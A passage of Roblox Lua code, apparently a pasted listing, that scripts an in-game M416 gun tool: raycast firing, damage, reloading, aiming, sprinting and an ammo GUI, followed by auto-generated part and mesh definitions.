  666. ,ReloadTime = 2.5
  667. ,Ammo = 30
  668. ,IncludeChamberedBullet = true
  669. --Gui
  670. ,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
  671. --Arms
  672. ,OneHanded = false
  673. ,FakeArms = true
  674. ,FakeArmTransparency = 0.5
  675. ,RightPos = CFrame.new(-0.75, -0.25, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
  676. ,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
  677. ,AimPart = Tool.AimPart
  678. ,AimPartOffset = CFrame.new()
  679. ,AimGripOffset = Vector3.new(0, 0, 0)
  680. ,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
  681. ,AimAnim = {
  682. Enabled = false
  683. ,Frames = 50
  684. ,Time = 0.1
  685. }
  686. ,ChangeFOV = {true, 60}
  687. ,SpreadReduction = 0
  688. --Weld
  689. ,Weld = true
  690. --Mouse
  691. ,Icons = {
  692. Idle = "rbxassetid://70288585"
  693. ,Fire1 = "rbxassetid://70288578"
  694. ,Fire2 = "rbxassetid://70288572"
  695. ,Fire3 = "rbxassetid://70288578"
  696. ,Reload = "rbxassetid://70288599"
  697. ,Aim = "rbxasset://textures/Blank.png"
  698. }
  699. ,FireMouseAnimTime = 0.15
  700. --Recoil
  701. ,Recoil = math.rad(0.7)
  702. --Smoke
  703. ,Smoke = true
  704. ,SmokePart = Tool.SmokePart
  705. ,Smokes = {{script.Smoke, 6, 0.1}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}, {script.Flash, 0.03}}
  706. --Sprint
  707. ,Sprint = true
  708. ,SprintSpeed = 25
  709. ,SprintKey = "0"
  710. ,SprintSpreadIncrease = 40
  711. ,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
  712. --Other
  713. ,DropHats = true
  714. }
  715.  
  716. --Do not edit below this lign--
  717.  
  718. local Orig_Spread = Settings.Spread
  719. local Orig_Grip = Tool.GripPos
  720.  
  721. local Player = owner
  722. local Character = Player.Character
  723.  
  724. local Camera = Workspace.CurrentCamera
  725.  
  726. local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
  727.  
  728. local Gui, CanUpdateGui = nil, true
  729.  
  730. local Sprinting, Equipped
  731.  
  732. function Update_Gui()
  733. if Gui and CanUpdateGui then
  734. Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
  735. end
  736. end
  737.  
  738. local Welded
  739. if Settings.Weld then
  740. Delay(0, function()
  741. local weldC0s = {}
  742. for i, v in pairs(Tool:GetChildren()) do
  743. if v:IsA("BasePart") and v ~= Tool.Handle then
  744. table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
  745. v.Anchored = false
  746. end
  747. end
  748. Tool.Handle.Anchored = false
  749. local welds = {}
  750. Tool.Equipped:connect(function()
  751. for i, v in ipairs(welds) do
  752. v.Part1 = nil
  753. v:Destroy()
  754. end
  755. for i, v in ipairs(weldC0s) do
  756. if v[1] and v[2] then
  757. local w = Instance.new("Weld", Tool.Handle)
  758. w.Part0 = Tool.Handle
  759. w.Part1 = v[1]
  760. w.C0 = v[2]
  761. table.insert(welds, w)
  762. end
  763. end
  764. end)
  765. wait()
  766. Welded = true
  767. end)
  768. end
  769.  
  770. local Left_Weld, Right_Weld
  771.  
  772. Ammo.Changed:connect(Update_Gui)
  773. StoredAmmo.Changed:connect(Update_Gui)
  774.  
  775. Settings.Range = math.min(Settings.Range, 999)
  776.  
  777. local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
  778. Ignore_Model.Name = "Ray_Ignore"
  779.  
  780. local Ray_Ignore = {Character, Ignore_Model, Camera}
  781.  
  782. Character.Humanoid.Died:connect(function()
  783. Tool.Parent = Player.Backpack
  784. end)
  785.  
  786. function Fire(Mouse)
  787. local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
  788. local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
  789. local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
  790. if Hit and Hit.Parent:FindFirstChild("Humanoid") then
  791. local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
  792. if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
  793. return
  794. end
  795. local Humanoid = Hit.Parent.Humanoid
  796. local c = Instance.new("ObjectValue")
  797. c.Name = "creator"
  798. c.Value = Player
  799. game.Debris:AddItem(c, 3)
  800. c.Parent = Humanoid
  801. if Hit.Name == "Head" then
  802. Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
  803. else
  804. Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
  805. end
  806. elseif Hit then
  807. local Hit_Part = Instance.new("Part", Ignore_Model)
  808. Hit_Part.FormFactor = "Custom"
  809. Hit_Part.TopSurface = 0
  810. Hit_Part.BottomSurface = 0
  811. Hit_Part.Anchored = true
  812. Hit_Part.CanCollide = false
  813. Hit_Part.Size = Vector3.new()
  814. Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
  815. Hit_Part.BrickColor = BrickColor.new("Black")
  816. game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
  817. if not Hit.Anchored then
  818. local w = Instance.new("Weld", Hit_Part)
  819. w.Part0 = Hit
  820. w.Part1 = Hit_Part
  821. w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
  822. Hit_Part.Anchored = false
  823. end
  824. if Hit.Parent:IsA("Hat") and Settings.DropHats then
  825. Hit.Parent.Parent = workspace
  826. game.Debris:AddItem(Hit, 3)
  827. end
  828. end
  829. end
  830.  
  831. local Can_Shoot = true
  832. local Reloading = false
  833.  
  834. local First_Person = false
  835.  
  836. local Mouse_Held
  837.  
  838. Tool.Equipped:connect(function(Mouse)
  839. Equipped = true
  840. if Settings.Weld and not Welded then
  841. wait()
  842. Tool.Parent = Player.Backpack
  843. end
  844. Character = Player.Character
  845. if Gui then
  846. return
  847. end
  848. Ray_Ignore = {Character, Ignore_Model, Camera}
  849. Mouse.Icon = Settings.Icons.Idle
  850. Gui = script.Gui:Clone()
  851. Gui.Parent = Player.PlayerGui
  852. Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
  853. Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
  854. CanUpdateGui = true
  855. Update_Gui()
  856. Mouse.Button1Down:connect(function()
  857. if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
  858. Mouse_Held = true
  859. while true do
  860. Can_Shoot = false
  861. Delay(0, function()
  862. local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
  863. if not Aiming then
  864. Mouse.Icon = Settings.Icons.Fire1
  865. end
  866. wait(t)
  867. if not Aiming then
  868. if Reloading then return end
  869. Mouse.Icon = Settings.Icons.Fire2
  870. end
  871. wait(t)
  872. if not Aiming then
  873. if Reloading then return end
  874. Mouse.Icon = Settings.Icons.Fire3
  875. end
  876. wait(t)
  877. if not Aiming then
  878. if Reloading then return end
  879. Mouse.Icon = Settings.Icons.Idle
  880. end
  881. end)
  882. if Settings.Smoke then
  883. for i, v in pairs(Settings.Smokes) do
  884. local s = v[1]:Clone()
  885. s.Parent = Settings.SmokePart
  886. s.Enabled = true
  887. game.Debris:AddItem(s, v[2])
  888. if v[3] then
  889. Delay(v[3], function()
  890. s.Enabled = false
  891. end)
  892. end
  893. end
  894. end
  895. for _ = 1, Settings.Bullets do
  896. pcall(function() Fire(Mouse) end)
  897. end
  898. Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
  899. if Tool.Handle:FindFirstChild("Shoot") then
  900. Tool.Handle.Shoot:Play()
  901. end
  902. Ammo.Value = Ammo.Value - 1
  903. wait(Settings.FireRate)
  904. if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
  905. break
  906. end
  907. end
  908. Can_Shoot = true
  909. elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
  910. Tool.Handle.Click:Play()
  911. end
  912. end)
  913. Mouse.Button1Up:connect(function()
  914. Mouse_Held = false
  915. end)
  916. Mouse.KeyDown:connect(function(Key)
  917. if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
  918. if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
  919. return
  920. end
  921. Can_Shoot = false
  922. Reloading = true
  923. local TextLabel = Gui.Frame.AmmoDisplay
  924. Delay(0, function()
  925. CanUpdateGui = false
  926. TextLabel.Text = "Reloading."
  927. wait(Settings.ReloadTime/3)
  928. if TextLabel then
  929. TextLabel.Text = "Reloading.."
  930. end
  931. wait(Settings.ReloadTime/3)
  932. if TextLabel then
  933. TextLabel.Text = "Reloading..."
  934. end
  935. end)
  936. if Tool.Handle:FindFirstChild("Reload") then
  937. Tool.Handle.Reload:Play()
  938. end
  939. Mouse.Icon = Settings.Icons.Reload
  940. wait(Settings.ReloadTime)
  941. Mouse.Icon = Settings.Icons.Idle
  942. CanUpdateGui = true
  943. local m = Settings.Ammo
  944. if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
  945. m = m + 1
  946. end
  947. if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
  948. Ammo.Value = Ammo.Value + StoredAmmo.Value
  949. StoredAmmo.Value = 0
  950. else
  951. StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
  952. Ammo.Value = m
  953. end
  954. Can_Shoot = true
  955. Reloading = false
  956. elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
  957. Sprinting = true
  958. Character.Humanoid.WalkSpeed = Settings.SprintSpeed
  959. Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
  960. end
  961. end)
  962. Mouse.KeyUp:connect(function(Key)
  963. if Key:upper() == Settings.SprintKey:upper() and Sprinting then
  964. Sprinting = false
  965. Character.Humanoid.WalkSpeed = 16
  966. Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
  967. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  968. end
  969. end)
  970. Mouse.Button2Down:connect(function()
  971. if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
  972. Aiming = true
  973. Mouse.Icon = Settings.Icons.Aim
  974. Right_Weld.C1 = CFrame.new()
  975. Right_Weld.C0 = CFrame.new()
  976. Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
  977. Left_Weld.C1 = Settings.LeftAimPos
  978. if Settings.ChangeFOV[1] then
  979. Camera.FieldOfView = Settings.ChangeFOV[2]
  980. end
  981. Tool.GripPos = Orig_Grip + Settings.AimGripOffset
  982. Settings.Spread = Settings.Spread - Settings.SpreadReduction
  983. end
  984. end)
  985. Mouse.Button2Up:connect(function()
  986. if Aiming then
  987. Mouse.Icon = Settings.Icons.Idle
  988. Tool.GripPos = Orig_Grip
  989. Right_Weld.C1 = Settings.RightPos
  990. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  991. Left_Weld.C1 = Settings.LeftPos
  992. if Settings.ChangeFOV[1] then
  993. Camera.FieldOfView = 70
  994. end
  995. Settings.Spread = Settings.Spread + Settings.SpreadReduction
  996. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  997. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  998. wait(0.25)
  999. Aiming = false
  1000. end
  1001. end)
  1002. wait()
  1003. Camera.Changed:connect(function()
  1004. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  1005. Mouse.TargetFilter = workspace
  1006. Character.Torso.Neck.C1 = CFrame.new()
  1007. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  1008. end
  1009. end)
  1010. Mouse.Idle:connect(function()
  1011. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  1012. Mouse.TargetFilter = workspace
  1013. Character.Torso.Neck.C1 = CFrame.new()
  1014. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  1015. end
  1016. end)
  1017. while wait() and Equipped do
  1018. if Sprinting then
  1019. Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  1020. Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  1021. elseif not Aiming then
  1022. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  1023. end
  1024. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
  1025. Mouse.TargetFilter = nil
  1026. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1027. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1028. end
  1029. end
  1030. end)
  1031.  
  1032. local Arms_Made
  1033. local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
  1034.  
  1035. Tool.Equipped:connect(function(Mouse)
  1036. if Character and not Arms_Made then
  1037. Arms_Made = true
  1038. local Torso = Character.Torso
  1039. Torso["Right Shoulder"].Part1 = nil
  1040. Left_Weld = Instance.new("Weld", Torso)
  1041. Left_Weld.Name = "Left_Weld"
  1042. Left_Weld.Part0 = Character.Head
  1043. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  1044. if not Settings.OneHanded then
  1045. Torso["Left Shoulder"].Part1 = nil
  1046. Left_Weld.Part1 = Character["Left Arm"]
  1047. end
  1048. Right_Weld = Instance.new("Weld", Torso)
  1049. Right_Weld.Name = "Right_Weld"
  1050. Right_Weld.Part0 = Character.Head
  1051. Right_Weld.Part1 = Character["Right Arm"]
  1052. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1053. Left_Weld.C1 = Settings.LeftPos
  1054. Right_Weld.C1 = Settings.RightPos
  1055. end
  1056. if Settings.FakeArms and not Fake_Arm_Right then
  1057. Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
  1058. Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
  1059. Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
  1060. local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
  1061. for i = 1, 2 do
  1062. local w = Instance.new("Weld", fakeArms[i])
  1063. w.Part0 = Character[fakeArms[i].Name]
  1064. w.Part1 = fakeArms[i]
  1065. fakeArms[i].Transparency = Settings.FakeArmTransparency
  1066. end
  1067. Fake_Arm_Model = Instance.new("Model", Camera)
  1068. Fake_Arm_Right.Parent = Fake_Arm_Model
  1069. if not Settings.OneHanded then
  1070. Fake_Arm_Left.Parent = Fake_Arm_Model
  1071. end
  1072. Fake_Arm_Model.Name = "FakeArms"
  1073. if Settings.CharacterMeshes then
  1074. for i, v in pairs(Character:GetChildren()) do
  1075. if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
  1076. v:Clone().Parent = Fake_Arm_Model
  1077. end
  1078. end
  1079. end
  1080. if Character:FindFirstChild("Shirt") then
  1081. Instance.new("Humanoid", Fake_Arm_Model)
  1082. Character.Shirt:Clone().Parent = Fake_Arm_Model
  1083. else
  1084. local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
  1085. Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
  1086. local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
  1087. Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
  1088. end
  1089. end
  1090. end)
  1091.  
  1092. Tool.Unequipped:connect(function()
  1093. Equipped = false
  1094. Tool.GripPos = Orig_Grip
  1095. Aiming = false
  1096. Settings.Spread = Orig_Spread
  1097. if Settings.ChangeFOV[1] then
  1098. Camera.FieldOfView = 70
  1099. end
  1100. if Gui then
  1101. Gui:Destroy()
  1102. Gui = nil
  1103. end
  1104. for i, v in pairs(Tool.Handle:GetChildren()) do
  1105. if v:IsA("Sound") then
  1106. v:Stop()
  1107. end
  1108. end
  1109. if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
  1110. Fake_Arm_Model:Destroy()
  1111. Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
  1112. end
  1113. if Character and Left_Weld and Right_Weld then
  1114. Arms_Made = false
  1115. local Torso = Character.Torso
  1116. Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
  1117. Left_Weld:Destroy()
  1118. Right_Weld:Destroy()
  1119. end
  1120. Sprinting = false
  1121. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1122. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1123. Character.Humanoid.WalkSpeed = 16
  1124. end)
  1125.  
  1126. end))
  1127. NumberValue21.Name = "Ammo"
  1128. NumberValue21.Parent = LocalScript20
  1129. NumberValue21.Value = 31
  1130. NumberValue22.Name = "StoredAmmo"
  1131. NumberValue22.Parent = LocalScript20
  1132. NumberValue22.Value = 400
  1133. Smoke23.Parent = LocalScript20
  1134. Smoke23.Size = 0.25
  1135. Smoke23.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1136. Smoke23.Enabled = false
  1137. Smoke23.Opacity = 0.10000000149012
  1138. Smoke23.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1139. Smoke24.Name = "Smoke1"
  1140. Smoke24.Parent = LocalScript20
  1141. Smoke24.Size = 0.10000000149012
  1142. Smoke24.Color = Color3.new(1, 0.6, 0.2)
  1143. Smoke24.Enabled = false
  1144. Smoke24.Opacity = 0.40000000596046
  1145. Smoke24.Color = Color3.new(1, 0.6, 0.2)
  1146. PointLight25.Name = "Flash"
  1147. PointLight25.Parent = LocalScript20
  1148. PointLight25.Color = Color3.new(0.772549, 0.384314, 0)
  1149. PointLight25.Brightness = 10
  1150. PointLight25.Range = 10
  1151. PointLight25.Shadows = true
  1152. PointLight25.Color = Color3.new(0.772549, 0.384314, 0)
  1153. ScreenGui26.Name = "Gui"
  1154. ScreenGui26.Parent = LocalScript20
  1155. Frame27.Parent = ScreenGui26
  1156. Frame27.Transparency = 0.5
  1157. Frame27.Size = UDim2.new(0, 120, 0, 35)
  1158. Frame27.Position = UDim2.new(1, -150, 1, -44)
  1159. Frame27.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1160. Frame27.BackgroundTransparency = 0.5
  1161. Frame27.BorderSizePixel = 3
  1162. TextLabel28.Name = "AmmoDisplay"
  1163. TextLabel28.Parent = Frame27
  1164. TextLabel28.Transparency = 1
  1165. TextLabel28.Size = UDim2.new(1, 0, 1, 0)
  1166. TextLabel28.Text = ""
  1167. TextLabel28.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1168. TextLabel28.BackgroundTransparency = 1
  1169. TextLabel28.Font = Enum.Font.SourceSansBold
  1170. TextLabel28.FontSize = Enum.FontSize.Size24
  1171. TextLabel28.TextColor3 = Color3.new(0, 0, 0)
  1172. TextLabel28.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1173. TextLabel28.TextStrokeTransparency = 0.5
  1174. TextLabel28.TextXAlignment = Enum.TextXAlignment.Right
  1175. Frame29.Parent = ScreenGui26
  1176. Frame29.Transparency = 0.5
  1177. Frame29.Size = UDim2.new(0, 126, 0, 10)
  1178. Frame29.Position = UDim2.new(1, -153, 1, -62)
  1179. Frame29.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1180. Frame29.BackgroundTransparency = 0.5
  1181. Frame29.BorderSizePixel = 3
  1182. TextLabel30.Name = "Caliber"
  1183. TextLabel30.Parent = Frame29
  1184. TextLabel30.Transparency = 1
  1185. TextLabel30.Size = UDim2.new(1, 0, 1, 0)
  1186. TextLabel30.Text = "Made by 1ndrew"
  1187. TextLabel30.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1188. TextLabel30.BackgroundTransparency = 1
  1189. TextLabel30.Font = Enum.Font.SourceSansBold
  1190. TextLabel30.FontSize = Enum.FontSize.Size28
  1191. TextLabel30.TextColor3 = Color3.new(0, 0, 0)
  1192. TextLabel30.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1193. TextLabel30.TextStrokeTransparency = 0.5
  1194. TextLabel30.TextXAlignment = Enum.TextXAlignment.Right
  1195. Frame31.Parent = ScreenGui26
  1196. Frame31.Transparency = 0.5
  1197. Frame31.Size = UDim2.new(0, 126, 0, 40)
  1198. Frame31.Position = UDim2.new(1, -153, 1, -109)
  1199. Frame31.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1200. Frame31.BackgroundTransparency = 0.5
  1201. Frame31.BorderSizePixel = 3
  1202. TextLabel32.Name = "Accessories"
  1203. TextLabel32.Parent = Frame31
  1204. TextLabel32.Transparency = 1
  1205. TextLabel32.Size = UDim2.new(1, 0, 1, 0)
  1206. TextLabel32.Text = "M416"
  1207. TextLabel32.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1208. TextLabel32.BackgroundTransparency = 1
  1209. TextLabel32.Font = Enum.Font.SourceSansBold
  1210. TextLabel32.FontSize = Enum.FontSize.Size14
  1211. TextLabel32.TextColor3 = Color3.new(0, 0, 0)
  1212. TextLabel32.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1213. TextLabel32.TextStrokeTransparency = 0.5
  1214. TextLabel32.TextXAlignment = Enum.TextXAlignment.Right
  1215. Part33.Parent = Tool0
  1216. Part33.Material = Enum.Material.SmoothPlastic
  1217. Part33.BrickColor = BrickColor.new("Mid gray")
  1218. Part33.Rotation = Vector3.new(-90, 0, 179.459991)
  1219. Part33.Anchored = true
  1220. Part33.FormFactor = Enum.FormFactor.Custom
  1221. Part33.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1222. Part33.CFrame = CFrame.new(27.0690918, 1.65112305, 138.333984, -0.999955833, -0.00939139724, -2.45538843e-08, 1.02097069e-07, -3.55030458e-08, 0.999999821, -0.00939165056, 0.999955356, 3.52667371e-08)
  1223. Part33.BottomSurface = Enum.SurfaceType.Smooth
  1224. Part33.TopSurface = Enum.SurfaceType.Smooth
  1225. Part33.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1226. Part33.Position = Vector3.new(27.0690918, 1.65112305, 138.333984)
  1227. Part33.Orientation = Vector3.new(-89.9700012, -34.8499985, 109.169998)
  1228. Part33.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1229. CylinderMesh34.Parent = Part33
  1230. CylinderMesh34.Offset = Vector3.new(0, 0.0120000001, 0)
  1231. CylinderMesh34.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1232. CylinderMesh34.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1233. Part35.Parent = Tool0
  1234. Part35.Material = Enum.Material.SmoothPlastic
  1235. Part35.BrickColor = BrickColor.new("Mid gray")
  1236. Part35.Rotation = Vector3.new(-90, 0, 179.459991)
  1237. Part35.Anchored = true
  1238. Part35.FormFactor = Enum.FormFactor.Custom
  1239. Part35.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1240. Part35.CFrame = CFrame.new(27.1169434, 1.65112305, 138.33429, -0.999955833, -0.00939139724, -2.45538843e-08, 1.02097069e-07, -3.55030458e-08, 0.999999821, -0.00939165056, 0.999955356, 3.52667371e-08)
  1241. Part35.BottomSurface = Enum.SurfaceType.Smooth
  1242. Part35.TopSurface = Enum.SurfaceType.Smooth
  1243. Part35.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1244. Part35.Position = Vector3.new(27.1169434, 1.65112305, 138.33429)
  1245. Part35.Orientation = Vector3.new(-89.9700012, -34.8499985, 109.169998)
  1246. Part35.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1247. CylinderMesh36.Parent = Part35
  1248. CylinderMesh36.Offset = Vector3.new(0, 0.0120000001, 0)
  1249. CylinderMesh36.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1250. CylinderMesh36.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1251. Part37.Parent = Tool0
  1252. Part37.Material = Enum.Material.SmoothPlastic
  1253. Part37.BrickColor = BrickColor.new("Dark stone grey")
  1254. Part37.Reflectance = 0.050000000745058
  1255. Part37.Rotation = Vector3.new(-180, -89.4599991, -90)
  1256. Part37.Anchored = true
  1257. Part37.FormFactor = Enum.FormFactor.Custom
  1258. Part37.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
  1259. Part37.CFrame = CFrame.new(27.0869141, 1.27026403, 138.981995, 8.71412595e-08, 0.00939127803, -0.999955893, 0.999999881, 2.9562246e-08, 8.74227624e-08, 3.03819299e-08, -0.999955535, -0.00939150155)
  1260. Part37.BottomSurface = Enum.SurfaceType.Smooth
  1261. Part37.TopSurface = Enum.SurfaceType.Smooth
  1262. Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1263. Part37.Position = Vector3.new(27.0869141, 1.27026403, 138.981995)
  1264. Part37.Orientation = Vector3.new(0, -90.5400009, 90)
  1265. Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1266. CylinderMesh38.Parent = Part37
  1267. CylinderMesh38.Scale = Vector3.new(1.10000002, 1, 1)
  1268. CylinderMesh38.Scale = Vector3.new(1.10000002, 1, 1)
  1269. Part39.Parent = Tool0
  1270. Part39.Material = Enum.Material.SmoothPlastic
  1271. Part39.BrickColor = BrickColor.new("Dark stone grey")
  1272. Part39.Rotation = Vector3.new(-89.4599991, 45, 89.2399979)
  1273. Part39.Anchored = true
  1274. Part39.FormFactor = Enum.FormFactor.Custom
  1275. Part39.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1276. Part39.CFrame = CFrame.new(27.0773926, 1.66210902, 138.345764, 0.00939139724, -0.707075477, 0.707075417, 3.55030458e-08, 0.70710659, 0.707106471, -0.999955356, -0.00664065778, 0.00664073229)
  1277. Part39.BottomSurface = Enum.SurfaceType.Smooth
  1278. Part39.TopSurface = Enum.SurfaceType.Smooth
  1279. Part39.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1280. Part39.Position = Vector3.new(27.0773926, 1.66210902, 138.345764)
  1281. Part39.Orientation = Vector3.new(-45, 89.4599991, 0)
  1282. Part39.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1283. BlockMesh40.Parent = Part39
  1284. BlockMesh40.Offset = Vector3.new(0, 0, 0.00300000003)
  1285. BlockMesh40.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  1286. BlockMesh40.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  1287. Part41.Parent = Tool0
  1288. Part41.Material = Enum.Material.SmoothPlastic
  1289. Part41.BrickColor = BrickColor.new("Black")
  1290. Part41.Reflectance = 0.050000000745058
  1291. Part41.Rotation = Vector3.new(-180, 0.539999962, -180)
  1292. Part41.Anchored = true
  1293. Part41.FormFactor = Enum.FormFactor.Custom
  1294. Part41.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
  1295. Part41.CFrame = CFrame.new(27.0887451, 1.39013696, 138.7724, -0.999955893, 8.71412595e-08, 0.00939127803, 8.74227624e-08, 0.999999881, 2.9562246e-08, -0.00939150155, 3.03819299e-08, -0.999955535)
  1296. Part41.BottomSurface = Enum.SurfaceType.Smooth
  1297. Part41.TopSurface = Enum.SurfaceType.Smooth
  1298. Part41.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1299. Part41.Position = Vector3.new(27.0887451, 1.39013696, 138.7724)
  1300. Part41.Orientation = Vector3.new(0, 179.459991, 0)
  1301. Part41.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1302. BlockMesh42.Parent = Part41
  1303. BlockMesh42.Offset = Vector3.new(0, 0, 0.0599999987)
  1304. BlockMesh42.Scale = Vector3.new(0.75, 0.599999964, 1.12099993)
